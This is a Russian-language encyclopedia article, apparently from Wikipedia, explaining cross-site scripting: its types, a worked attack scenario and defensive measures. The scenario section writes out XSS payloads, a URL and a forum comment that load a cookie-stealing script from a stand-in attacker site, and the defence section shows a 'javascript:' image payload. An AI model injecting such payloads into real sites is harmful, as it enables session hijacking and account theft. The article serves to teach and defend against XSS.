Межсайтовый скриптинг
Межсайтовый скриптинг (англ. Cross-Site Scripting, XSS) — это разновидность уязвимостей компьютерной безопасности, встречающаяся преимущественно в веб-приложениях и часто сопровождающаяся HTML-инъекцией, а также присутствующая в некоторых приложениях, использующих JavaScript. XSS позволяет внедрять клиентский JavaScript-код в отображаемые другим пользователям веб-страницы. Этот тип уязвимости может быть использован злоумышленниками для обхода таких механизмов контроля, как политика одинакового источника, а также для перехвата сеанса пользователя. Согласно данным Symantec, по состоянию на 2007 год атаки с помощью межсайтового скриптинга составляли около 84 % всех зарегистрированных уязвимостей в области безопасности[1]. Масштаб последствий зависит от чувствительности обрабатываемых данным сайтом данных и от реализованных механизмов защиты.
История
Информационная безопасность веба основывается на ряде механизмов, таких как политика одинакового источника. Политика одинакового источника в упрощённом виде означает, что если сайту разрешён доступ к некоторым ресурсам, то это разрешение распространяется на весь контент этого сайта, но сторонний сайт должен проходить отдельную авторизацию для получения доступа[2].
Межсайтовый скриптинг основывается на эксплуатации известных уязвимостей в веб-приложениях, их серверах или зависимых от них плагинах. Используя одну из этих уязвимостей, атакующий внедряет вредоносный код в контент сайта, и когда такой составной контент загружается в браузере пользователя, он выполняется с теми же правами, что и остальной безопасный код с этого сайта. Получив возможность внедрять скрипты, злоумышленник приобретает расширенный доступ к конфиденциальным данным на странице, сессионным куки и другой информации, управляемой браузером. Межсайтовый скриптинг относится к разновидностям кодовых инъекций.
Термин «межсайтовый скриптинг» предложен инженерами по кибербезопасности компании Microsoft в январе 2000 года[3]. Первоначальное понимание XSS касалось возможности запуска вредоносных JavaScript-кодов в целях компрометации другой доверенной области с помощью захваченных приложений, но впоследствии термин расширился и на другие технологии клиентских скриптов — такие как ActiveX, Java, VBScript, Flash и HTML-скрипты[4].
Уязвимости XSS эксплуатируются с 1990-х годов. Отмечены случаи их успешной эксплуатации на таких ресурсах, как MySpace, YouTube, Orkut[5][6]. С конца 2000-х XSS обогнал переполнение буфера как наиболее часто регистрируемая уязвимость[7]. В 2007 году сообщалось, что 68 % сайтов были уязвимы к XSS-атакам[8].
Виды
Стандартизованной единой классификации уязвимостей XSS не существует, однако в литературе обычно выделяют по крайней мере два основных класса — отражённые и постоянные атаки. Иногда дополнительно различают традиционные (серверные) и основанные на DOM (клиентские) уязвимости.
Отражённый (или непостоянный) XSS — основной и наиболее часто встречающийся тип уязвимостей[9]. Уязвимость возникает, если введённые пользователем параметры, как правило передаваемые через HTTP-запросы (например, поля формы), используются сервером для динамической генерации ответа без необходимой фильтрации[10].
Из-за линейной структуры HTML (объединяющей управляющие символы, разметку и пользовательские данные), любое незаэкранированное пользовательское значение в документе может привести к внедрению произвольного кода. Пример — поисковый интерфейс: если искомый текст возвращается на страницу без экранирования HTML-символов, появляется XSS-уязвимость[11].
Обычно отражённые атаки распространяются через электронную почту или созданные злоумышленником веб-страницы, где пользователь перенаправляется на вредоносную ссылку, ведущую на уязвимый сайт. Если сайт не фильтрует вредоносный код, после перехода пользователя вредоносный скрипт выполняется в его браузере.
Постоянная (или сохраняемая) XSS-уязвимость наиболее опасна: внедрённые злоумышленником данные сохраняются на сервере и затем отображаются на обычных страницах для других пользователей. Классический пример — форумы или социальные сети, где пользовательским сообщениям разрешён HTML.
Например, на сайте знакомств злоумышленник может добавить код к своему профилю, чтобы при его просмотре сбор данных других пользователей отправлялся на сторонний сервер. Такой скрипт выполняется автоматически без какого-либо взаимодействия пользователя, что существенно повышает уровень угрозы (особенно при распространении через самораспространяющиеся черви)[12].
Первоначально XSS встречался только в приложениях, где весь ввод-вывод происходил на сервере. Позднее получили распространение приложения, логика отображения которых реализована на клиенте с помощью AJAX и JavaScript. Это привело к появлению DOM-основанных XSS-уязвимостей, при которых вредоносный код внедряется и выполняется исключительно на стороне клиента, минуя сервер[13].
Например, в 2011 году подобная уязвимость была выявлена во многих плагинах для jQuery[14]. Основные меры защиты аналогичны классическим: фильтрация и экранирование входных данных[15]. Некоторые современные фреймворки, например Angular.js[16], содержат встроенные механизмы защиты.
Self-XSS — разновидность XSS, основанная на социальной инженерии: жертву убеждают вручную вставить и выполнить вредоносный JavaScript-код в своём браузере. Хотя с технической точки зрения это не классическая XSS-уязвимость, последствия могут быть теми же.
Примеры эксплуатации
Для успешной эксплуатации XSS-уязвимостей злоумышленнику необходимо использовать различные сценарии для каждого из классов уязвимости.
Фреймворк эксплуатации браузера может быть использован для атак как на веб-страницы, так и на локальную среду пользователя.
- Пользователь (Alice) регулярно посещает сайт, администрируемый Bob. Alice авторизуется под своим именем, и сайт хранит авторизационные куки для поддержания сессии.
- Злоумышленник (Mallory) обнаруживает отражённую уязвимость на сайте Bob:
- Он вводит строку поиска — если результат не найден, сайт выводит запрос вместе с сообщением об ошибке и помещает введённый текст в URL, например,
http://bobssite.org?q=текст_запроса. - Если вместо строки поиска передать код <script>, например "", сайт выведет сообщение с ошибкой, а скрипт выполнится.
- Он вводит строку поиска — если результат не найден, сайт выводит запрос вместе с сообщением об ошибке и помещает введённый текст в URL, например,
- Mallory формирует вредоносный URL, например:
http://bobssite.org?q=<script%20src="http://mallorysevilsite.com/authstealer.js"></script>- Ссылку можно дополнительно закодировать (например, hex-кодами), чтобы усложнить обнаружение[17].
- Mallory рассылает ссылку доверчивым пользователям или размещает её в публичном доступе.
- Alice переходит по ссылке, внешний вид сайта не вызывает подозрений, но загрузившийся вредоносный скрипт (например, authstealer.js) выполняется от имени сайта Bob и отправляет сессионные куки на сервер Mallory.
- Mallory получает куки Alice, авторизуется на сайте Bob под её учётной записью, а затем получает доступ к её персональным данным, меняет пароль и т. д.
- Аналогичные действия могут быть проведены и против администраторов сайта.
Меры по предотвращению:
- Экранирование и фильтрация пользовательских данных.
- Корректная обработка невалидных запросов на web-сервере.
- Ограничения на одновременные сессии и их контроль по IP.
- Скрытие части чувствительных данных (например, маскирование номеров карт).
- Проверка пароля при изменении учётных данных.
- Использование политики безопасности контента.
- Установка куки с флагом HttpOnly.
- Повышение осведомлённости пользователей.
- Mallory регистрируется на сайте Bob.
- Выявляет сохраняемую XSS-уязвимость — например, в комментариях к публикациям, где HTML-теги исполняются без фильтрации.
- В комментарии добавляется строка вида:
Обожаю этих котиков! Так мило! <script src="http://mallorysevilsite.com/authstealer.js"></script> - Любой пользователь, просмотревший страницу, запускает скрипт, и его сессионные куки отправляются Mallory[17].
- Mallory использует полученные куки для доступа к аккаунту Alice[18].
Недостаточная фильтрация или отсутствие удаления тегов <script> — основной корень проблемы.
Меры защиты
Главный способ защиты от XSS — экранирование пользовательского ввода в зависимости от контекста (HTML-энкодинг, JavaScript-энкодинг, CSS-энкодинг и кодирование URL) на этапе вывода данных в документ[19]. Даже базовое экранирование HTML специальными сущностями значительно снижает вероятность успешной атаки.
Однако одних только замен пяти специальных HTML-символов недостаточно: обход часто возможен с помощью менее очевидных тэгов или альтернативных техник шифрования. Поэтому для защиты рекомендуется использовать качественные специализированные библиотеки.
Во многих веб-приложениях допускается ограниченный HTML-формат пользовательского ввода (форумы, webmail и т. д.). Для безопасного отображения такого ввода необходима обязательная очистка HTML-кода через специальные фильтры-санитайзеры, которые удаляют все опасные теги и атрибуты.
Простой пример уязвимости:
<img src="javascript:alert(1)">
Удаление символов кавычек или других «опасных» знаков тоже может быть неэффективно, так как вредоносный код может быть зашифрован или обфусцирован другими способами.
Кроме фильтрации контента, применяют дополнительные приёмы: связывают сессионные куки с IP-адресом пользователя или используют флаг HttpOnly для запрета доступа JavaScript к куки[20]. Однако такие методы не защищают в случаях NAT, прокси или мобильного доступа.
Браузеры Internet Explorer версии 6+, Mozilla Firefox 2.0.0.5+, Safari 4+, Opera 9.5+ и Google Chrome реализуют флаг HttpOnly (куки недоступны для клиентских скриптов), но и он не решает всех проблем[21].
Хотя современные приложения часто требуют включённого JavaScript[22], некоторые сайты функционируют даже при полном отключении скриптов[23]. Пользователь может вручную отключать выполнение скриптов для отдельных сайтов или глобально.
Плагин NoScript (для Firefox и совместимых) позволяет управлять разрешениями для скриптов по доменам и реализует ряд встроенных механизмов XSS-защиты[24]. Аналогичные решения существуют для других браузеров.
Недостатки такого подхода: значительное ухудшение удобства и функциональности сайтов, низкая осведомлённость пользователей и то, что многие сайты не работают без JavaScript.
Современные подходы в области предотвращения XSS включают Content Security Policy, изоляцию JavaScript и автоматические шаблоны преобразования[25]. Их развитие позволяет понизить риск XSS-эксплуатации, однако полностью проблему на момент написания они не решают.
Сканеры уязвимостей
Некоторые компании предоставляют услуги автоматизированного тестирования сайтов на XSS: с помощью специальных инструментов симулируется атака, и в случае успешного взлома клиенту предоставляется отчёт с рекомендациями[26]. Однако ни один внешний сканер не гарантирует нахождение всех векторов атак; для критичных ресурсов необходимо применять также анализ исходного кода.
Родственные уязвимости
Глобальный межсайтовый скриптинг (англ. UXSS, Global XSS) эксплуатирует баги самих браузеров, а не веб-приложений. Такие атаки широко применялись, например, группой Anonymous для распространения DDoS-атак[27].
Смежными по технике считаются: межзонный скриптинг (обход зон браузера)[28], инъекции HTTP-заголовков (могут применяться для организации межсайтового скриптинга)[29], межсайтовая подделка запросов (CSRF)[30], а также скрытое перенаправление и инъекции в базе данных (например, SQL-инъекция)[31][32].
Примечания
Литература
- MacKenzie, Thomas ScriptAlert1.com — краткое руководство по межсайтовому скриптингу (англ.). Дата обращения: 11 июня 2024. Архивировано 24 сентября 2016 года.
- XSS Explained — простое объяснение XSS (англ.). Дата обращения: 11 июня 2024. Архивировано 27 сентября 2016 года.
- Preventing XSS in ASP.NET Made Easy (англ.) (6 февраля 2015). Дата обращения: 11 июня 2024. Архивировано 6 октября 2016 года.
- Cross Site Scripting (англ.) (13 октября 2005). Дата обращения: 11 июня 2024. Архивировано 1 июня 2010 года.
Ссылки
- XSS-тесты, Ревью кода для XSS Reviewing Code for Cross-site scripting (англ.). Дата обращения: 11 июня 2024. Архивировано 28 ноября 2018 года.
- XSSed Database (англ.). Дата обращения: 11 июня 2024. Архивировано 21 января 2019 года.